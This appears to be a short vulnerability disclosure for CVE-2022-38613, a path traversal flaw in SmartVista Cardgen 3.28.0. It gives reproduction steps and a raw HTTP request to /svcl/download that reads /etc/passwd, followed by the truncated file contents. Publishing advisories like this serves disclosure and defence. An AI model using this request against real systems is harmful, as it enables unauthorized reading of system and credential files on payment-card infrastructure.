MyCVE

Path traversal in SmartVista Cardgen version 3.28.0 (CVE-2022-38613)

CVE-2022-38613

Exploit Title: Path traversal in SmartVista Cardgen version 3.28.0

Exploit Author: Tin Pham aka TF1T of VietSunshine Cyber Security Services

Vendor Homepage: https://www.bpcbt.com/smartvista-solutions/

Affected Version(s): SmartVista Cardgen version 3.28.0

Description: A Path Traversal vulnerability in SmartVista Cardgen v3.28.0 allows authenticated attackers to read arbitrary files in the system.

Steps to reproduce:

- **Step 1**: At menu System → System Directories, an authenticated user can add/modify a row with specific directory in "path" parameter. For Example, we have SERVICE with value "temp" and DIRECTORY with value "temp", we modify its PATH to "/etc/"

- **Step 2**: At /svcl/download, we set "serviceType" parameter to "temp", "directory" parameter to "temp", fileName parameter to "passwd", we can read the content of /etc/passwd file

Raw request/response

```
GET /svcl/download?serviceType=temp&directory=temp&fileName=passwd&institutionId=0
Host: URL
Cookie: JSESSIONID=[...TRUNCATED...]
```

```
HTTP/1.1 200 OK
Connection: close
Content-Length: 2361
Content-Type: application/octet-stream
```

```
Content-Disposition: attachment; filename="passwd"
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
[...TRUNCATED...]
```

Previous
Reflected XSS in SmartVista Cardgen version 3.28.0 (CVE-2022-35554)

Next
List all files in arbitrary folder in SmartVista Cardgen version 3.28.0 (CVE-2022-3...

Last modified 2mo ago